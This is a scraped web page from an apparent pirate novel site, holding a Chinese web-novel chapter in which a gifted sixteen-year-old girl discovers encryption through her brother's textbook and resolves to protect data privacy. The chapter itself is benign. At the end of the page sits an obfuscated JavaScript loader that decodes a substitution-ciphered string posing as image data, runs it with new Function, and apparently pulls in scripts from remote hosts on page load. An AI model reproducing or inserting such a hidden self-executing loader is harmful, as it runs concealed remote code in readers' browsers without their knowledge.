首页
前传 第25章 初见加密算法
返回
关灯 护眼:关 字号:小

前传 第25章 初见加密算法,一眼沉沦

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    前传第25章初见加密算法,一眼沉沦(第1/2页)
    傍晚六点半,三中老旧实验楼的楼道里飘着粉笔灰与受潮墙面混合的闷味,夕阳穿过蒙着薄尘的塑钢窗,斜斜切出一道狭长金芒,落在靠窗那张堆满草稿纸的课桌上。
    姚浮萍支着下巴,指尖无意识转着一支按动中性笔,视线落在电脑屏幕滚动的字符流上,周遭喧闹的放学人流仿佛与她隔着一层无形屏障。
    隔壁教室的打闹声、走廊里追逐的脚步声、值日生拖拽扫帚摩擦地面的刺耳声响,此起彼伏灌满整栋教学楼,可这些嘈杂落在她耳朵里,轻得如同蚊虫振翅,掀不起半点心神波澜。今年她刚满十六岁,跳级进入高二信息竞赛特训班,是整个年级组出了名的怪才。
    不爱扎堆闲聊,不爱追星追剧,不爱打扮攀比,旁人课余用来嬉笑玩耍的时间,她几乎全都泡在这间狭小的机房,和一串串枯燥冰冷的代码朝夕相伴。性子内向寡言,不善争辩应酬,平日里独来独往,久而久之,“孤僻、难相处、情商低”的标签,便轻飘飘贴在了她身上。
    就连同班不少同学私下议论,都说姚浮萍脑子是聪明,但太过不合群,整日闷头对着电脑,迟早要钻牛角尖钻魔怔。
    对此,姚浮萍从来懒得解释,也无意迎合旁人眼光。
    于她而言,旁人眼中枯燥乏味的代码世界,才是最安稳妥帖的归宿。现实人际错综复杂,言语试探、攀比猜忌、误会偏见无处不在,可代码逻辑清晰分明,输入既定指令,就会给出确定结果,一就是一,零就是零,没有弯弯绕绕,没有口是心非,足够纯粹,足够公平。
    “浮萍,还不走?哥在楼下等你半天了。”
    楼道口传来温和沉稳的喊声,姚厚朴背着双肩包站在门框边,身形挺拔,眉眼温润。他比妹妹大三岁,正在隔壁市读大专计算机专业,今天学校没课,特意绕路过来接姚浮萍回家。
    姚浮萍微微偏头,淡淡应了一声:“再等十分钟,这段程序还差一点调试收尾。”
    姚厚朴无奈笑笑,迈步走进机房,顺手拉过旁边一把椅子坐下,目光扫过屏幕密密麻麻的基础编程代码,轻声劝慰:“又在死磕练习题?竞赛班进度本来就快,没必要这么拼命熬自己,晚饭再不回去,妈该惦记了。”
    “还差最后一个边界条件校验,做完就走。”姚浮萍指尖落在键盘上,指尖翻飞,敲击声清脆利落,“这次省赛预选赛的模拟题,加密逻辑绕得有点别扭,我总觉得现有写法存在冗余漏洞。”
    姚厚朴叹了口气,他太了解自家妹妹的性子,一旦沉浸进算法问题里,八头牛都拉不回来,认定的事非要刨根究底做到极致,偏执得近乎执拗。他没有再多催促,安静坐在一旁等候,目光随意扫过桌面上散落的厚厚稿纸,纸上写满层层推演的公式、数据流拆解步骤,密密麻麻,排布得工整规整。
    兄妹二人家境普通,父母都是工厂普通工人,收入微薄,日子过得精打细算。姚浮萍打小展露超凡数理天赋,小学便自学初中课程,初中越级吃透高中数理体系,学校老师再三劝说,家里咬咬牙咬牙支持她跳级走信息竞赛路线,指望她靠特长搏一条不一样的出路。
    姚厚朴早早认清自己天资平平,索性放平心态,选了务实的计算机专科,一边念书一边抽空兼职补贴家用,最大的心愿就是护住妹妹的天赋,不让现实琐碎磨掉她的热爱。旁人只看见姚浮萍天赋耀眼,唯有姚厚朴清楚,妹妹熬了多少深夜,啃下多少晦涩难懂的专业书籍,才换来旁人眼里轻轻松松的天才名号。
    “对了,我这周专业课刚好讲到数据加密基础,带了本参考书,你有空可以翻翻。”姚厚朴忽然想起一事,从背包里抽出一本边角微微磨损的专业教材,封面印着《对称加密原理与基础应用》,轻轻推到姚浮萍手边,“原本是我选修课的课本,老师讲得很浅,只是入门皮毛,但对你钻研竞赛拓展思路,应该有点用处。”
    姚浮萍下意识瞥了一眼封面,原本没太放在心上。以往她接触的编程题目,大多围绕排序、遍历、逻辑运算、简易小程序开发,加密相关内容只是偶尔在科普文章里扫过几眼,并未深入了解,总觉得这类内容偏商业化,距离校园竞赛太过遥远。
    “加密算法?”她轻声呢喃,指尖轻轻摩挲着书脊,“竞赛很少考这块内容,学了用处不大。”
    “现在用不上,不代表以后没用。”姚厚朴语气温和,耐心解释,“现在互联网越来越普及,个人账号、聊天记录、购物信息、身份资料全都在网上流转,数据泄露、信息倒卖的新闻越来越多。加密本质就是给数据上锁,防止信息被旁人窃取篡改,往后绝对是大势所趋。”
    说话间,姚浮萍随手翻开书页,原本漫不经心的眼神,一点点凝住。
    开篇浅显易懂的举例,瞬间抓住了她的注意力。
    简单的字符移位加密、异或基础运算、明文与密文的转换逻辑,寥寥数页,便勾勒出一套完整闭环的防护思路。一段原本直白可见的原始数据,经过特定算法规则重组转换,变成旁人无法读懂的乱码字符;唯有匹配专属密钥,才能逆向解密,还原原本信息。
    明明只是最简单的入门案例,却像一道惊雷,轰然撞进姚浮萍的世界。
    她自幼痴迷逻辑推演,沉迷变量运算、闭环架构,可以往写代码,大多是顺着既定要求完成功能实现,是被动迎合题目、迎合需求。可加密算法截然不同,它是主动构建壁垒,主动设置屏障,主动抵御窥探与篡改,攻守博弈藏在字符之间,每一处参数调整、每一轮迭代优化,都在和潜在的破解思路相互较量。
    “原来……代码还能用来做防护。”姚浮萍喃喃自语,眼神越来越亮,原本淡漠沉静的眼底,漾起前所未有的光亮。
    从前她只觉得,代码是工具,用来解题、做程序、完成任务,功利性极强。可此刻翻开这本薄薄教材,她忽然窥见另一种可能性:代码不止可以用来实现功能、追逐成绩,还能成为一道屏障,护住本该私密的信息,隔绝窥探与掠夺。
    (本章未完,请点击下一页继续阅读)前传第25章初见加密算法,一眼沉沦(第2/2页)
    她顺着章节往下快速翻阅,越看越是心神震动。
    对称加密、非对称加密的底层差异,密钥分发的难点,暴力破解的规避思路,数据流溯源标记设计……层层递进,环环相扣,逻辑精巧缜密,充满克制又极致的美感。一行行公式不再冰冷枯燥,仿佛化作细密编织的丝线,交织成一张细密坚韧的网,护住身后所有隐秘数据。
    不知不觉间,姚浮萍早已停下手上原本调试的竞赛程序,全身心沉浸在加密原理之中,指尖时不时拿起草稿纸,提笔推演书上的示例运算,眉头时而轻蹙思索漏洞,时而舒展豁然开朗,全然忘了时间流逝。
    姚厚朴静静看着妹妹全然投入的模样,嘴角悄然扬起一抹温柔笑意,没有出声打扰。他早就料到,以妹妹对逻辑架构的敏感度,一定会被加密领域深深吸引,只是没想到,动心来得这般迅速干脆。
    机房窗外,落日渐渐沉落,余晖褪去暖金色泽,天际晕开浅灰暮色,室内光线一点点暗沉下来。姚浮萍浑然不觉,伏在桌前不停演算,笔尖在草稿纸上飞速游走,密密麻麻写满自设的小型加密推演模型,尝试修改基础算法参数,寻找原有架构里可以优化加固的薄弱点。
    “如果增加随机盐值嵌入,是不是就能大幅抵御穷举破解?”
    “分段式加密拆分数据流,即便局部密文泄露,也无法还原完整信息……”
    细碎的自言自语低声飘出,她完全沉浸在独属于自己的思考世界里,周遭一切喧嚣彻底隔绝在外。从前旁人觉得她孤僻自闭、难以相处,可只有面对纯粹算法逻辑时,这个沉默内向的少女,才会卸下所有拘谨内敛,眼里盛满滚烫热忱。
    约莫半个钟头过后,姚浮萍才慢慢放下笔,长长呼出一口气,眼底带着难以掩饰的悸动与笃定,抬眼看向一旁的姚厚朴:“哥,这个方向,我想好好钻研下去。”
    “想清楚了?”姚厚朴挑眉问道。
    “嗯。”姚浮萍用力点头,语气格外认真,“刷题参赛只是眼前的路,可数据防护是长久的方向。很多人随意留下个人信息,自己毫无防备,数据却被随意倒卖滥用,明明不该外露的隐私,轻而易举就能被别有用心之人截取利用。加密算法能够守住这些边界,这件事本身很有意义。”
    十六岁的少女,尚且看不懂未来庞大的行业乱象,看不清资本裹挟之下技术扭曲沉沦的隐患,也不曾预料多年之后,自己会亲手搭建起“五彩绫镜”整套加密防护体系,在商业博弈、资本围剿之中守住技术本心。
    但在这一刻,初次窥见加密算法内核的瞬间,心底已然埋下一颗种子:代码从无善恶之分,掌控代码的人心才有取舍。她不愿自己钻研一生的技术,沦为攫取利益、窥探隐私的利刃,反倒希望用层层算法壁垒,做守护信息隐私的铠甲。
    只是懵懂初心,尚且稚嫩,却无比坚定。
    姚厚朴心头一暖,伸手轻轻揉了揉妹妹的头发:“你既然喜欢,那就踏踏实实去学,我全力支持你。课本不够我再帮你搜集网课、电子版专业资料,以后遇到卡壳的难题,我们兄妹俩一起琢磨。家里再难,也不会拦着你的爱好。”
    “谢谢哥。”姚浮萍唇角难得勾起一抹浅淡柔和的弧度,转瞬又恢复清冷模样,低头重新看向手中教材,目光郑重,“我不想只是浅尝辄止,以后想深耕加密与数据防护这条路子,打磨属于自己的算法思路。”
    她指尖轻轻抚过书页上一行总结文字,一字一句默念出声:“以算法为锁,守数据安宁。”
    初见加密算法,不过短短一个傍晚,便是一眼沉沦,一生牵绊。
    往后漫长岁月,旁人追逐流量热度、追逐资本红利、追逐捷径名利,姚浮萍自始至终守着这间由代码搭建的小小天地,深耕加密架构,抵御利诱裹挟,任凭外界风浪起伏,不改最初心动时的纯粹本心。
    天色彻底暗透,城市街灯次第亮起,姚厚朴起身打开机房顶灯,暖白光铺满桌面,照亮少女满眼热忱。
    “收拾东西回家吧,晚饭该凉了,往后有的是时间慢慢研究。”
    姚浮萍恋恋不舍合上书本,小心翼翼将这本加密教材收进书包最内层,像是珍藏一件无比贵重的宝物,随即关掉电脑,整理好满桌草稿纸,动作有条不紊。
    走出实验楼,晚风微凉,吹散傍晚残留的燥热。兄妹二人并肩走在空荡荡的校园林荫道上,影子被路灯拉得悠长。
    姚浮萍走在身侧,一路沉默思索,脑海里不断复盘傍晚看过的加密逻辑,内心翻涌着前所未有的方向感。从前她总觉得自己孤身一人,埋头刷题只是漫无目的地赶路,找不到长久坚持的意义,可此刻,前路骤然清晰明朗。
    姚厚朴余光瞥见妹妹若有所思的神情,轻声开口提点:“不过你也要提前做好心理准备,技术本身干净纯粹,可往后踏入社会,免不了和商业、资本打交道,很多时候身不由己,会有人想方设法利用数据牟利,篡改技术初衷,逼迫算法沦为谋利工具。”
    姚浮萍脚步顿住,抬眸看向兄长,眼神澄澈坚定:“如果真有那么一天,我守住自己的算法底线就够了。技术可以被人利用,但我可以选择自己使用技术的方式。”
    少年心事澄澈,不见世故圆滑,却带着一股撞破南墙也不肯回头的执拗。
    多年以后,荆棘科技不择手段窃取方案、海外巨头开出天价邀约挖角、资本层层施压逼迫妥协,无数诱惑与威逼扑面而来,姚浮萍始终不为所动,死死攥着自己一手打磨的“五彩绫镜”核心加密算法,坚守技术向善的底线,根源便始于这个暮色沉沉的傍晚,始于这场初见加密算法、一眼沉沦的心动。
    林荫道尽头,校门遥遥在望。
    姚浮萍抬手摸了摸书包里的教材,心底悄然定下属于自己漫长人生路的起点。
    代码无声,算法无言,自此往后,她愿以毕生所学,铸数据之锁,守本心清明。
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();